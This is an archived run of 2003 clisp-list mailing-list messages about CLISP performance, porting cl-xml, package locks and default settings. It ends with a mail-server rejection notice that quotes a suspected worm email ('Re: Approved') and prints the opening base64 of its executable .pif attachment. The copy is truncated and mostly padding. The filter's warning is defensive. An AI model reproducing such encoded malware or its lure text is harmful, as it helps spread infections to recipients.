on Fri, 15 Aug 2003 17:35:42 -0400 > * Honorable "John" writes: > > I notice a performance degradation on the native windows version 2.30.1 beta > vs the 2.30 release. I thought I would pass this information on incase it > hadn't been previously discovered. Running the following code snippet > compiled to a .fas file, the beta version takes nearly 3 times as long to > run. I'm currently on XP Pro. I also noticed the size of the lisp.exe file > has grown by almost a megabyte. > > (let ((x 0) (y 0) start stop elapsed) > (setq start (GET-INTERNAL-RUN-TIME)) > (loop for i from 1 to 10000000 do > (setq x i) > (setq y (* i i))) > (format t "x=~D y=~D~%" x y) > (setq stop (GET-INTERNAL-RUN-TIME)) > (setq elapsed (- stop start)) > (format t "elapsed time: ~F seconds~%" (/ elapsed > INTERNAL-TIME-UNITS-PER-SECOND)) > ) > > Output from version 2.30.1 beta > x=10000000 y=100000000000000 > elapsed time: 19.18759 seconds > > Output from version 2.30 > x=10000000 y=100000000000000 > elapsed time: 6.7296767 seconds > > I also see this message printed to the console and have found no way to > disable it. Hopefully this message will be removed in the future. > > Reserved address range 0x1a4b0000-0x5ad6ffff . > STACK depth: 16363 this means that you compiled --with-debug, meaning that most optimizations are off. -- Sam Steingold (http://www.podval.org/~sds) running w2k A professor is someone who talks in someone else's sleep. From lisp-clisp-list@m.gmane.org Sat Aug 16 18:52:20 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19oCiQ-0007lU-00 for ; Sat, 16 Aug 2003 18:52:18 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19oCjT-000878-00 for ; Sun, 17 Aug 2003 03:53:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19oCjS-000870-00 for ; Sun, 17 Aug 2003 03:53:22 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19oCiM-00029U-00 for ; Sun, 17 Aug 2003 03:52:14 +0200 From: Sam Steingold Organization: disorganization Lines: 54 Message-ID: References: <185F799A-D015-11D7-9068-000393BB8814@setf.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: clisp port of cl-xml Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 16 18:53:12 2003 X-Original-Date: 16 Aug 2003 21:52:15 -0400 > * In message <185F799A-D015-11D7-9068-000393BB8814@setf.de> > * On the subject of "clisp port of cl-xml" > * Sent on Sat, 16 Aug 2003 20:11:45 +0200 > * Honorable james anderson writes: > > i'm still inching forwards with compiling cl-xml on clisp and i have a > few more questions. none of the observations are new, it's just that > it would be nice to be able to guage how much time this is going to > take, and some idea of whether there might be plans to address any of > these issues in the near future - or one the other hand how intrinsic > they are to clisp, might give me an idea of whether it is worth > spending the time adapting to them > > 1. logical pathnames : > > as per earlier correspondence, translation must be expressed with > exactly the correct components as the object. is there any chance that > this will change? I am not sure CLISP is non-compliant here. Other implementations might be providing an extension. Patches are welcome. > 2. documentation does not accept a package, is not a generic, and > there is no setf. fixed in the CVS. > 3.metaclass defnitions require a (:metaclass structure-class) > i noted this in an earlier message, is this correct? CLISP is indeed not compliant here: STANDARD-OBJECT is supposed to be a STANDARD-CLASS and it is actually a STRUCTURE-CLASS. I am not sure how to fix this. > 4. defclass does not support forward references fixed in the CVS > 5. only the standard method combination > > it is easy enough to avoid defining new method combinations for the time > being, but it's not very productive to not have the simpler combinations > like and, or, progn. any prospects for improvement? Bruno said earlier this year that he was thinking about adding this feature, but I am not sure how far he got with it. -- Sam Steingold (http://www.podval.org/~sds) running w2k Is there another word for synonym? From jimka@rdrop.com Sun Aug 17 05:14:28 2003 Received: from mx02.qsc.de ([213.148.130.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19oMQQ-0005jr-00 for ; Sun, 17 Aug 2003 05:14:22 -0700 Received: from port-212-202-193-133.reverse.qdsl-home.de ([212.202.193.133] helo=rdrop.com) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 19oMQ5-0005zf-00 for clisp-list@lists.sourceforge.net; Sun, 17 Aug 2003 14:14:01 +0200 Message-ID: <3F3F65AC.5060908@rdrop.com> From: Jim Newton User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] clos libraries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 17 05:15:09 2003 X-Original-Date: Sun, 17 Aug 2003 13:23:24 +0200 Is there an internet repository for high quality CLOS class libraries? -jim From janson2@attglobal.net Sun Aug 17 05:38:19 2003 Received: from mail-in-01.arcor-online.net ([151.189.21.41]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19oMnZ-0000hN-00 for ; Sun, 17 Aug 2003 05:38:18 -0700 Received: from attglobal.net (dsl-213-023-141-125.arcor-ip.net [213.23.141.125]) by mail-in-01.arcor-online.net (Postfix) with ESMTP id 95A0875832 for ; Sun, 17 Aug 2003 14:38:14 +0200 (CEST) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <9E3B620A-D0AF-11D7-9068-000393BB8814@attglobal.net> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] Re: clisp port of cl-xml Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 17 05:39:13 2003 X-Original-Date: Sun, 17 Aug 2003 14:37:52 +0200 in summary, it appears that it would be wise to build the latest source. as my most recent serious experience with shell scripts predates clisp, i would benefit from more elaborate hints as to how to approach the problem with the syntax specification which i noted in an earlier post. ? where could one specify "darwin" v/s "darwin6.6" v/s one of the other values in the displayed case statement? ? which shell script is actually exhibiting this problem? On Sunday, Aug 17, 2003, at 03:52 Europe/Berlin, Sam Steingold wrote: >> ... >> 1. logical pathnames : >> >> as per earlier correspondence, translation must be expressed with >> exactly the correct components as the object. is there any chance that >> this will change? > > I am not sure CLISP is non-compliant here. my interpretation is that it devolves down to pathname-match-p, which is defined to interpret any missing components as if they were :wild. which means that "**;*" should be treated the same as "**;*.*.*". > Other implementations might be providing an extension. > Patches are welcome. first i have to get it to compile. > >> 2. documentation does not accept a package, is not a generic, and >> there is no setf. > ok. what about the second part of the question: how to redefine functions in a locked package in a file-to-be-compiled? is there an alternative to globally unlocking the package? without regard to the state documentation support, i do this with functions which some implementations make generic but others do not. things like stream-element-type and simple-confition-format-*. i realize it is non-conformant to do this, and i noted when reading your clos code that it appears that clisp tracks those functions what are specified to be user-extensible, but i would like to maintain the practice none-the-less, so i would appreciate any advice as to how to do so "properly" in clisp. >> 3.metaclass defnitions require a (:metaclass structure-class) >> i noted this in an earlier message, is this correct? > > CLISP is indeed not compliant here: STANDARD-OBJECT is supposed to be a > STANDARD-CLASS and it is actually a STRUCTURE-CLASS. i just #+ it. it only matters whether i'd need to make it clisp version dependant. > >> 4. defclass does not support forward references > ok. >> 5. only the standard method combination >> >> it is easy enough to avoid defining new method combinations for the >> time >> being, but it's not very productive to not have the simpler >> combinations >> like and, or, progn. any prospects for improvement? > > Bruno said earlier this year that he was thinking about adding this > feature, but I am not sure how far he got with it. as in interim approach, just so i don't need to rewrite my generic function definitions, i'd be tempted to factor support for the predefined operator combinations out of clos.lisp#compute-effective-method, without adding any support for defining new combinations. ... From pascal@informatimago.com Sun Aug 17 06:46:24 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19oNRl-0002sK-00 for ; Sun, 17 Aug 2003 06:19:50 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id C6FBFB65D3; Sun, 17 Aug 2003 15:19:42 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16191.33006.783596.659855@thalassa.informatimago.com> To: Jim Newton Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] clos libraries In-Reply-To: <3F3F65AC.5060908@rdrop.com> References: <3F3F65AC.5060908@rdrop.com> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: fr, es, en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 17 06:47:01 2003 X-Original-Date: Sun, 17 Aug 2003 15:19:42 +0200 Jim Newton writes: > Is there an internet repository for high quality > CLOS class libraries? >=20 > -jim Not specfic to clos, but for common-lisp packages in general, there is clocc and cclan: http://www.cliki.net/cclan http://www.cliki.net/CLOCC http://clocc.sourceforge.net/ --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From lisp-clisp-list@m.gmane.org Mon Aug 18 11:28:07 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19oojc-000601-00 for ; Mon, 18 Aug 2003 11:28:04 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19ookc-000089-00 for ; Mon, 18 Aug 2003 20:29:06 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19ookb-000081-00 for ; Mon, 18 Aug 2003 20:29:05 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19oojZ-0008SZ-00 for ; Mon, 18 Aug 2003 20:28:01 +0200 From: Sam Steingold Organization: disorganization Lines: 81 Message-ID: References: <9E3B620A-D0AF-11D7-9068-000393BB8814@attglobal.net> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: clisp port of cl-xml Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 18 11:29:02 2003 X-Original-Date: 18 Aug 2003 14:27:59 -0400 > * In message <9E3B620A-D0AF-11D7-9068-000393BB8814@attglobal.net> > * On the subject of "Re: clisp port of cl-xml" > * Sent on Sun, 17 Aug 2003 14:37:52 +0200 > * Honorable james anderson writes: > > in summary, it appears that it would be wise to build the latest source. indeed. > as my most recent serious experience with shell scripts predates clisp, > i would benefit from more elaborate hints as to how to approach the > problem with the syntax specification which i noted in an earlier post. > ? where could one specify "darwin" v/s "darwin6.6" v/s one of the other > values in the displayed case statement? > ? which shell script is actually exhibiting this problem? no idea. Bruno? > On Sunday, Aug 17, 2003, at 03:52 Europe/Berlin, Sam Steingold wrote: > > >> 1. logical pathnames : > >> > >> as per earlier correspondence, translation must be expressed with > >> exactly the correct components as the object. is there any chance that > >> this will change? > > > > I am not sure CLISP is non-compliant here. > > my interpretation is that it devolves down to pathname-match-p, which > is defined to interpret any missing components as if they were > :wild. which means that "**;*" should be treated the same as > "**;*.*.*". OK, I fixed this in the CVS - please try the head. > what about the second part of the question: how to redefine functions in > a locked package in a file-to-be-compiled? > is there an alternative to globally unlocking the package? you should never globally unlock a package (unless you are a CLISP developer). when do you get this package lock error? I don't quite understand what you are doing. a small code snippet might help. > >> 3.metaclass defnitions require a (:metaclass structure-class) > >> i noted this in an earlier message, is this correct? > > > > CLISP is indeed not compliant here: STANDARD-OBJECT is supposed to be a > > STANDARD-CLASS and it is actually a STRUCTURE-CLASS. > > i just #+ it. it only matters whether i'd need to make it clisp > version dependant. Bruno, maybe it would made sense for the metaclass option to default to the (common!) metaclass of the superclasses? > >> 5. only the standard method combination > >> > >> it is easy enough to avoid defining new method combinations for the > >> time being, but it's not very productive to not have the simpler > >> combinations like and, or, progn. any prospects for improvement? > > > > Bruno said earlier this year that he was thinking about adding this > > feature, but I am not sure how far he got with it. > > as in interim approach, just so i don't need to rewrite my generic > function definitions, i'd be tempted to factor support for the > predefined operator combinations out of > clos.lisp#compute-effective-method, without adding any support for > defining new combinations. again, patches are welcome (the more general the better ;-)) -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: it's here to save your butt. From janson2@attglobal.net Mon Aug 18 12:26:28 2003 Received: from mail-in-04.arcor-online.net ([151.189.21.44]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19opdN-0007Q1-00 for ; Mon, 18 Aug 2003 12:25:42 -0700 Received: from attglobal.net (dsl-213-023-143-189.arcor-ip.net [213.23.143.189]) by mail-in-04.arcor-online.net (Postfix) with ESMTP id D2CD25EC42 for ; Mon, 18 Aug 2003 21:25:37 +0200 (CEST) Subject: Re: [clisp-list] Re: clisp port of cl-xml Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 18 12:27:03 2003 X-Original-Date: Mon, 18 Aug 2003 21:25:17 +0200 On Monday, Aug 18, 2003, at 20:27 Europe/Berlin, Sam Steingold wrote: >> ... >> what about the second part of the question: how to redefine functions >> in >> a locked package in a file-to-be-compiled? >> is there an alternative to globally unlocking the package? > > you should never globally unlock a package (unless you are a CLISP > developer). > > when do you get this package lock error? when i try to compile a file which attempts to redefine a function in the common-lisp package. i just looked through the functions this applies to, and observe that but for documentation, they are cmucl-family specific and don't even apply to clisp. if i use the cvs, then the problem with documentation is no more and the issue is moot. SIMPLE-CONDITION-FORMAT-ARGUMENTS SIMPLE-CONDITION-FORMAT-CONTROL SIMPLE-CONDITION-FORMAT-STRING STREAM-ELEMENT-TYPE DOCUMENTATION (and setf) > I don't quite understand what you are doing. > a small code snippet might help. for the record, i wasn't doing anything special. just (ext:without-package-lock () (warn "disable lock on common-lisp: ~s" (ext:package-lock (find-package :common-lisp))) (let ((def (fdefinition 'documentation))) (unless (typep def 'generic-function) (warn "redefining ~s" def) (fmakunbound 'documentation) (defGeneric documentation (datum &optional type) (:method ((datum t) &optional doctype) (funcall def datum doctype))))))) both with no package designators and with :COMMON-LISP. > >>>> ... >> as in interim approach, just so i don't need to rewrite my generic >> function definitions, i'd be tempted to factor support for the >> predefined operator combinations out of >> clos.lisp#compute-effective-method, without adding any support for >> defining new combinations. > > again, patches are welcome (the more general the better ;-)) > if the approach sounds reasonable, no problem - once i can build it. ... From lisp-clisp-list@m.gmane.org Mon Aug 18 13:36:21 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19oqjj-0003qP-00 for ; Mon, 18 Aug 2003 13:36:19 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19oqkj-0000oV-00 for ; Mon, 18 Aug 2003 22:37:21 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19oqki-0000oN-00 for ; Mon, 18 Aug 2003 22:37:20 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19oqjg-0003eV-00 for ; Mon, 18 Aug 2003 22:36:16 +0200 From: Sam Steingold Organization: disorganization Lines: 24 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: clisp port of cl-xml Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 18 13:37:03 2003 X-Original-Date: 18 Aug 2003 16:36:15 -0400 > * In message > * On the subject of "Re: Re: clisp port of cl-xml" > * Sent on Mon, 18 Aug 2003 21:25:17 +0200 > * Honorable james anderson writes: > > On Monday, Aug 18, 2003, at 20:27 Europe/Berlin, Sam Steingold wrote: > >> as in interim approach, just so i don't need to rewrite my generic > >> function definitions, i'd be tempted to factor support for the > >> predefined operator combinations out of > >> clos.lisp#compute-effective-method, without adding any support for > >> defining new combinations. > > > > again, patches are welcome (the more general the better ;-)) > > > if the approach sounds reasonable, no problem - once i can build it. err, the least generality we should go for, I think, is the short version of DEFINE-METHOD-COMBINATION. -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX is as friendly to you as you are to it. Windows is hostile no matter what. From pascal@informatimago.com Tue Aug 19 05:33:26 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p5LC-0005Zo-00 for ; Tue, 19 Aug 2003 05:11:58 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id AB444B6603; Tue, 19 Aug 2003 14:11:51 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16194.5127.604250.212560@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] default settings of *load-compiling* and *print-pretty* (naive be nchmarks) In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE05C9725A@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE05C9725A@G8PQD.blf01.telekom.de> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 05:34:02 2003 X-Original-Date: Tue, 19 Aug 2003 14:11:51 +0200 Hoehle, Joerg-Cyril writes: > Hi, >=20 > the recent thread in comp.lang.lisp started by John Proctor lead me > to ask you the following: >=20 > 1. Would people object if -C (*load-compiling*) were set (to true) > by default? - You'd have to keep the -C option for compatibility with existing script= s. - You'd have to add a new option to prevent compiling at load time. - People would have to remember to use this new option to get useful debugging information. - People would have to remember removing it once they put their code in production. I don't see the advantage to have it the other way, once a choice have been made to have it this way. I would prefer not change it. > 2. What about the default value of *print-pretty*? I've got *print-pretty* set to T and this does not bother me. What's the problem? =20 > Ad 1 pros and cons: > + benchmarks =E0 la "time clisp hanoi.cl" would yield much much > improved times (should beat Python any time). > + other implementations (MCL?) only have a compiler anyway > and use a read-compile-funcall-print loop. > + novices may benefit from "unused variable/undeclared variable" warnin= gs > - novices may be confused by such warnings > - step is much less useful with compiled functions >=20 >=20 > Ad 2 > *print-pretty* had been set to false for many years. It was only not > *too long ago that the decision was made, IIRC based on "todays > *machines are fast enough" reasoning, to set it to true in the > *default configuration. >=20 > I'm unsure whether Proctor's program would have been or was much > affected by the value of *print-pretty* in CLISP (it made a lot of a > difference with CMUCL). >=20 > What do CLISP users think? >=20 > Regards, > J=F6rg H=F6hle --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From MAILER-DAEMON Tue Aug 19 06:53:49 2003 Received: from mail by sc8-sf-list1.sourceforge.net with local (Exim 3.31-VA-mm2 #1 (Debian)) id 19p6vl-0006ME-00 for ; Tue, 19 Aug 2003 06:53:49 -0700 X-Failed-Recipients: message filter, clisp-list@sourceforge.net From: Mail Delivery System To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 06:54:09 2003 X-Original-Date: Tue, 19 Aug 2003 06:53:49 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded clisp-list@sourceforge.net This message has been rejected because it has a potentially executable attachment "movie0045.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 99082 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from d-128-78-122.bootp.virginia.edu ([128.143.78.122] helo=CE55) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p6vG-0006EC-00 for ; Tue, 19 Aug 2003 06:53:18 -0700 From: To: Subject: Re: Approved Date: Tue, 19 Aug 2003 9:53:17 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_01796ED7" Message-Id: This is a multipart message in MIME format --_NextPart_000_01796ED7 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_01796ED7 Content-Type: application/octet-stream; name="movie0045.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="movie0045.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 